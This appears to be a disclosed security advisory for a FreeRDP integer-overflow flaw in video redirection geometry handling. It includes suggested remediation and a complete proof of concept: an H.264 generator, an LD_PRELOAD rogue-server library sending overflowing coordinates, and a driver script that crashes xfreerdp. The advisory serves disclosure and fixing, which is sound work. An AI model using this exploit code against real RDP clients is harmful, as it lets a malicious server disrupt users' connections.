All vulnerabilities
GHSA-96rv-gf42-7wq9

Positive mapped-video coordinates overflow and abort FreeRDP clients

FreeRDP
CVSS
6.5Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published29 Sep 2026Updated 29 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video redirection enabled. The geometry and video channels accept individually non-negative mapped coordinates, but video_onMappedGeometryUpdate adds the two signed positions before converting the result with WINPR_ASSERTING_INT_CAST(uint32_t, ...). Two positive coordinates can overflow the signed addition and cause winpr_int_assert to abort the client.

The issue was reproduced over a real TLS/RDP connection using the production geometry, video-control, and video-data DVCs and an unmodified xfreerdp client. A safe-coordinate control remained connected. The otherwise identical overflowing update terminated the client with SIGABRT at video_onMappedGeometryUpdate.

The trigger requires the user to connect to the malicious or compromised server with /video enabled. The demonstrated impact is denial of service only. This submission does not claim memory corruption, confidentiality or integrity impact, or code execution.

Public PR #13407 is related hardening but not an exact fix: it rejects individually negative or inverted geometry values and does not check whether two positive positions overflow when added. The trigger remains present on current master.

Reproduction

The sibling poc/ directory contains a bounded source-only replay. With a matching FreeRDP source/build tree and an active X display, run:

./poc/run.sh ../FreeRDP ../FreeRDP-build :99 47580

Observed result:

control PASS client_alive=1
attack PASS client_alive=0
PASS: safe geometry remains connected; overflowing geometry aborts the client.

Suggested remediation

Add the already validated non-negative operands in a wider unsigned type, reject any combined position outside the destination coordinate or desktop bounds, and only then narrow it. Apply the check at presentation creation and mapped-geometry update. Add wire-level regression cases for horizontal and vertical overflow.

Proof of Concept files

Every file shipped in the sibling poc/ directory is embedded byte-for-byte below.

BEGIN FILE: poc/make_h264.c

#include <stdio.h>
#include <stdlib.h>

#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>

int main(int argc, char** argv)
{
	if (argc != 2)
		return 2;

	const AVCodec* codec = avcodec_find_encoder_by_name("libx264");
	if (!codec)
		codec = avcodec_find_encoder(AV_CODEC_ID_H264);
	if (!codec)
		return 3;

	AVCodecContext* ctx = avcodec_alloc_context3(codec);
	AVFrame* frame = av_frame_alloc();
	AVPacket* packet = av_packet_alloc();
	if (!ctx || !frame || !packet)
		return 4;

	/* FreeRDP pads a requested 16x100 video surface to 48x128. */
	ctx->width = 48;
	ctx->height = 128;
	ctx->pix_fmt = AV_PIX_FMT_YUV420P;
	ctx->time_base = (AVRational){ 1, 25 };
	ctx->framerate = (AVRational){ 25, 1 };
	ctx->gop_size = 1;
	ctx->max_b_frames = 0;
	ctx->thread_count = 1;
	(void)av_opt_set(ctx->priv_data, "preset", "ultrafast", 0);
	(void)av_opt_set(ctx->priv_data, "tune", "zerolatency", 0);

	if (avcodec_open2(ctx, codec, NULL) < 0)
		return 5;

	frame->format = ctx->pix_fmt;
	frame->width = ctx->width;
	frame->height = ctx->height;
	frame->pts = 0;
	if (av_frame_get_buffer(frame, 32) < 0 || av_frame_make_writable(frame) < 0)
		return 6;

	for (int y = 0; y < ctx->height; y++)
		for (int x = 0; x < ctx->width; x++)
			frame->data[0][y * frame->linesize[0] + x] = (unsigned char)(32 + ((x + y) & 127));
	for (int y = 0; y < ctx->height / 2; y++)
		for (int x = 0; x < ctx->width / 2; x++)
		{
			frame->data[1][y * frame->linesize[1] + x] = 96;
			frame->data[2][y * frame->linesize[2] + x] = 160;
		}

	if (avcodec_send_frame(ctx, frame) < 0)
		return 7;
	if (avcodec_receive_packet(ctx, packet) < 0)
		return 8;

	FILE* fp = fopen(argv[1], "wb");
	if (!fp)
		return 9;
	const size_t written = fwrite(packet->data, 1, (size_t)packet->size, fp);
	fclose(fp);
	printf("generated Annex-B H.264: %d bytes, 48x128\n", packet->size);

	av_packet_free(&packet);
	av_frame_free(&frame);
	avcodec_free_context(&ctx);
	return written > 0 ? 0 : 10;
}

END FILE: poc/make_h264.c

BEGIN FILE: poc/rogue_video.c

#define _GNU_SOURCE

#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <winpr/wtsapi.h>
#include <freerdp/channels/geometry.h>
#include <freerdp/channels/video.h>
#include <freerdp/channels/wtsvc.h>

#define MAPPING_ID UINT64_C(0x1122334455667788)

static void put16(unsigned char* p, uint16_t v)
{
	p[0] = (unsigned char)v;
	p[1] = (unsigned char)(v >> 8);
}

static void put32(unsigned char* p, uint32_t v)
{
	p[0] = (unsigned char)v;
	p[1] = (unsigned char)(v >> 8);
	p[2] = (unsigned char)(v >> 16);
	p[3] = (unsigned char)(v >> 24);
}

static void put64(unsigned char* p, uint64_t v)
{
	put32(p, (uint32_t)v);
	put32(p + 4, (uint32_t)(v >> 32));
}

static int write_all(HANDLE channel, const void* data, size_t size, const char* label)
{
	ULONG written = 0;
	if (!WTSVirtualChannelWrite(channel, (PCHAR)data, (ULONG)size, &written) || written != size)
	{
		fprintf(stderr, "E2E write failed: %s size=%zu written=%lu error=%lu\n", label, size,
		        (unsigned long)written, (unsigned long)GetLastError());
		return 0;
	}
	fprintf(stderr, "E2E sent %s: %zu bytes\n", label, size);
	return 1;
}

static int channel_ready(HANDLE channel)
{
	for (unsigned int attempt = 0; attempt < 100; attempt++)
	{
		PVOID out = NULL;
		DWORD size = 0;
		if (WTSVirtualChannelQuery(channel, WTSVirtualChannelReady, &out, &size))
		{
			const BOOL ready = out && size >= sizeof(BOOL) && *(BOOL*)out;
			WTSFreeMemory(out);
			if (ready)
				return 1;
		}
		usleep(50000);
	}
	return 0;
}

static int send_geometry(HANDLE channel, int wrapped)
{
	unsigned char pdu[72] = { 0 };
	size_t p = 0;
	put32(&pdu[p], sizeof(pdu)); p += 4;
	put32(&pdu[p], 1); p += 4;
	put64(&pdu[p], MAPPING_ID); p += 8;
	put32(&pdu[p], GEOMETRY_UPDATE); p += 4;
	put32(&pdu[p], 0); p += 4;
	put64(&pdu[p], 1); p += 8;

	put32(&pdu[p], 0); p += 4;
	put32(&pdu[p], wrapped ? UINT32_C(0x7fffff9d) : 0); p += 4;
	put32(&pdu[p], 16); p += 4;
	put32(&pdu[p], wrapped ? UINT32_C(0x7fffff9d) : 100); p += 4;

	put32(&pdu[p], 0); p += 4;
	put32(&pdu[p], wrapped ? UINT32_C(0x7fffffff) : 0); p += 4;
	put32(&pdu[p], 16); p += 4;
	put32(&pdu[p], wrapped ? UINT32_C(0x7fffffff) : 100); p += 4;
	put32(&pdu[p], 2); p += 4;
	put32(&pdu[p], 0); p += 4;

	return p == sizeof(pdu) && write_all(channel, pdu, sizeof(pdu), wrapped ? "wrapped geometry" : "safe geometry");
}

static int send_presentation(HANDLE channel)
{
	static const unsigned char h264_guid[16] = {
		'H', '2', '6', '4', 0x00, 0x00, 0x10, 0x00,
		0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71
	};
	unsigned char pdu[68] = { 0 };
	size_t p = 0;
	put32(&pdu[p], sizeof(pdu)); p += 4;
	put32(&pdu[p], TSMM_PACKET_TYPE_PRESENTATION_REQUEST); p += 4;
	pdu[p++] = 1;
	pdu[p++] = 1;
	pdu[p++] = TSMM_START_PRESENTATION;
	pdu[p++] = 25;
	put16(&pdu[p], 0); p += 2;
	put16(&pdu[p], 0); p += 2;
	put32(&pdu[p], 16); p += 4;
	put32(&pdu[p], 100); p += 4;
	put32(&pdu[p], 16); p += 4;
	put32(&pdu[p], 100); p += 4;
	put64(&pdu[p], 0); p += 8;
	put64(&pdu[p], MAPPING_ID); p += 8;
	memcpy(&pdu[p], h264_guid, sizeof(h264_guid)); p += sizeof(h264_guid);
	put32(&pdu[p], 0); p += 4;
	return p == sizeof(pdu) && write_all(channel, pdu, sizeof(pdu), "start presentation");
}

static int send_frame(HANDLE channel, const unsigned char* sample, size_t sample_size,
                      uint32_t sample_number)
{
	const size_t total = 40 + sample_size;
	if (total > UINT32_MAX)
		return 0;
	unsigned char* pdu = calloc(1, total);
	if (!pdu)
		return 0;
	size_t p = 0;
	put32(&pdu[p], (uint32_t)total); p += 4;
	put32(&pdu[p], TSMM_PACKET_TYPE_VIDEO_DATA); p += 4;
	pdu[p++] = 1;
	pdu[p++] = 1;
	pdu[p++] = TSMM_VIDEO_DATA_FLAG_KEYFRAME;
	pdu[p++] = 0;
	put64(&pdu[p], 0); p += 8;
	put64(&pdu[p], 0); p += 8;
	put16(&pdu[p], 1); p += 2;
	put16(&pdu[p], 1); p += 2;
	put32(&pdu[p], sample_number); p += 4;
	put32(&pdu[p], (uint32_t)sample_size); p += 4;
	memcpy(&pdu[p], sample, sample_size);
	const int rc = write_all(channel, pdu, total, sample_number == 1 ? "H.264 frame 1" : "H.264 frame 2");
	free(pdu);
	return rc;
}

static unsigned char* read_file(const char* path, size_t* size)
{
	FILE* fp = fopen(path, "rb");
	if (!fp)
		return NULL;
	if (fseek(fp, 0, SEEK_END) != 0)
		return NULL;
	const long length = ftell(fp);
	if (length <= 0 || fseek(fp, 0, SEEK_SET) != 0)
		return NULL;
	unsigned char* data = malloc((size_t)length);
	if (!data)
		return NULL;
	if (fread(data, 1, (size_t)length, fp) != (size_t)length)
	{
		free(data);
		return NULL;
	}
	fclose(fp);
	*size = (size_t)length;
	return data;
}

static void* sender(void* unused)
{
	(void)unused;
	/* Let shadow complete its own WTS initialization before opening server DVCs. */
	sleep(2);
	const char* sample_path = getenv("VIDEO_E2E_SAMPLE");
	const char* mode = getenv("VIDEO_E2E_MODE");
	const DWORD session = getenv("VIDEO_E2E_SESSION") ? (DWORD)strtoul(getenv("VIDEO_E2E_SESSION"), NULL, 10) : 1;
	if (!sample_path)
	{
		fprintf(stderr, "E2E missing VIDEO_E2E_SAMPLE\n");
		return NULL;
	}

	size_t sample_size = 0;
	unsigned char* sample = read_file(sample_path, &sample_size);
	if (!sample)
	{
		fprintf(stderr, "E2E failed to read H.264 sample: %s\n", sample_path);
		return NULL;
	}

	HANDLE geometry = NULL;
	for (unsigned int attempt = 0; attempt < 120 && !geometry; attempt++)
	{
		geometry = WTSVirtualChannelOpenEx(session, GEOMETRY_DVC_CHANNEL_NAME,
		                                   WTS_CHANNEL_OPTION_DYNAMIC);
		if (!geometry)
			usleep(100000);
	}
	if (!geometry)
	{
		fprintf(stderr, "E2E geometry open failed: error=%lu\n", (unsigned long)GetLastError());
		free(sample);
		return NULL;
	}

	HANDLE control = WTSVirtualChannelOpenEx(session, VIDEO_CONTROL_DVC_CHANNEL_NAME,
	                                         WTS_CHANNEL_OPTION_DYNAMIC);
	HANDLE data = WTSVirtualChannelOpenEx(session, VIDEO_DATA_DVC_CHANNEL_NAME,
	                                      WTS_CHANNEL_OPTION_DYNAMIC);
	if (!control || !data || !channel_ready(geometry) || !channel_ready(control) ||
	    !channel_ready(data))
	{
		fprintf(stderr, "E2E channel readiness failed: geometry=%p control=%p data=%p error=%lu\n",
		        geometry, control, data, (unsigned long)GetLastError());
		free(sample);
		return NULL;
	}
	fprintf(stderr, "E2E all three DVCs ready; mode=%s sample=%zu bytes\n",
	        mode ? mode : "control", sample_size);

	if (!send_geometry(geometry, 0) || !send_presentation(control))
		goto out;
	usleep(300000);
	if (!send_frame(data, sample, sample_size, 1))
		goto out;
	sleep(2);
	if (!send_geometry(geometry, mode && strcmp(mode, "attack") == 0))
		goto out;
	usleep(200000);
	(void)send_frame(data, sample, sample_size, 2);
	fprintf(stderr, "E2E sequence complete\n");

out:
	free(sample);
	return NULL;
}

__attribute__((constructor)) static void start_sender(void)
{
	pthread_t thread;
	if (pthread_create(&thread, NULL, sender, NULL) == 0)
		(void)pthread_detach(thread);
}

END FILE: poc/rogue_video.c

BEGIN FILE: poc/run.sh

#!/usr/bin/env bash
set -euo pipefail

if (( $# < 3 || $# > 4 )); then
	echo "usage: $0 FREERDP_SOURCE FREERDP_BUILD DISPLAY [BASE_PORT]" >&2
	exit 2
fi

S=$(cd "$1" && pwd)
B=$(cd "$2" && pwd)
display=$3
base_port=${4:-47580}
P=$(cd "$(dirname "$0")" && pwd)
work_root=${POC_WORK_ROOT:-${XDG_CACHE_HOME:-$HOME/.cache}}
mkdir -p "$work_root"
W=$(mktemp -d "$work_root/freerdp-video-geometry.XXXXXX")
sp= cp=

cleanup()
{
	for pid in ${cp:-} ${sp:-}; do
		kill "$pid" 2>/dev/null || true
	done
	if [[ ${KEEP_WORK:-0} != 1 ]]; then
		rm -rf "$W"
	fi
}
trap cleanup EXIT HUP INT TERM

LIB=$(find "$B" "$(dirname "$B")/deps" -type f -name '*.so.*' -printf '%h\n' 2>/dev/null |
	sort -u | paste -sd: -)
export LD_LIBRARY_PATH=$LIB
export PKG_CONFIG_PATH="$(dirname "$B")/deps/usr/lib/x86_64-linux-gnu/pkgconfig${PKG_CONFIG_PATH:+:$PKG_CONFIG_PATH}"

cc -O2 "$P/make_h264.c" -o "$W/make_h264" \
	$(pkg-config --cflags --libs libavcodec libavutil) >"$W/build.log" 2>&1
cc -shared -fPIC -O2 -I"$S/include" -I"$S/winpr/include" -I"$B/include" \
	-I"$B/winpr/include" "$P/rogue_video.c" -o "$W/rogue_video.so" \
	-L"$B/winpr/libwinpr" -lwinpr3 -lpthread >>"$W/build.log" 2>&1
"$W/make_h264" "$W/sample.h264" >"$W/generator.log" 2>&1

asan_preload=
if ldd "$B/client/X11/xfreerdp" 2>/dev/null | grep -q 'libasan'; then
	asan_preload=$(cc -print-file-name=libasan.so)
fi

run_case()
{
	local mode=$1 port=$2 alive=0
	local preload="$W/rogue_video.so"
	if [[ -n "$asan_preload" ]]; then
		preload="$asan_preload:$preload"
	fi

	mkdir -p "$W/$mode/home"
	HOME="$W/$mode/home" DISPLAY=$display VIDEO_E2E_MODE=$mode \
		VIDEO_E2E_SAMPLE="$W/sample.h264" LD_PRELOAD="$preload" \
		ASAN_OPTIONS=detect_leaks=0 \
		"$B/server/shadow/cli/freerdp-shadow-cli" /port:"$port" /sec:tls \
		-auth -may-view -may-interact /log-level:DEBUG \
		>"$W/$mode.server.out" 2>"$W/$mode.server.err" &
	sp=$!
	sleep 1

	DISPLAY=$display LD_PRELOAD="$asan_preload" ASAN_OPTIONS=detect_leaks=0 \
		"$B/client/X11/xfreerdp" /v:127.0.0.1:"$port" /u:alice \
		/p:demonstration-only /cert:ignore /sec:tls /video /gdi:sw \
		/size:1024x768 /log-level:DEBUG \
		>"$W/$mode.client.out" 2>"$W/$mode.client.err" &
	cp=$!

	for _ in $(seq 1 100); do
		kill -0 "$cp" 2>/dev/null || break
		grep -q 'E2E sequence complete' "$W/$mode.server.err" 2>/dev/null && break
		sleep .1
	done
	sleep 1
	kill -0 "$cp" 2>/dev/null && alive=1

	grep -q 'E2E all three DVCs ready' "$W/$mode.server.err"
	grep -q 'E2E sent start presentation' "$W/$mode.server.err"
	grep -q 'E2E sent H.264 frame 1' "$W/$mode.server.err"
	grep -q 'areRectsValid.*outside of bounding frame' "$W/$mode.client.err"

	if [[ "$mode" == control ]]; then
		[[ "$alive" == 1 ]]
		grep -q 'E2E sent safe geometry' "$W/$mode.server.err"
		! grep -q 'winpr_int_assert\|Caught signal.*Aborted' "$W/$mode.client.err"
	else
		[[ "$alive" == 0 ]]
		grep -q 'E2E sent wrapped geometry' "$W/$mode.server.err"
		grep -q 'video_onMappedGeometryUpdate' "$W/$mode.client.err"
		grep -q 'winpr_int_assert' "$W/$mode.client.err"
		grep -q "Caught signal 'Aborted'" "$W/$mode.client.err"
	fi

	kill "$cp" 2>/dev/null || true
	wait "$cp" 2>/dev/null || true
	cp=
	kill "$sp" 2>/dev/null || true
	wait "$sp" 2>/dev/null || true
	sp=
	printf '%s PASS client_alive=%s\n' "$mode" "$alive"
}

run_case control "$base_port"
run_case attack "$((base_port + 1))"
echo 'PASS: safe geometry remains connected; overflowing geometry aborts the client.'

END FILE: poc/run.sh

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.11.0, <= 3.31.1GitHub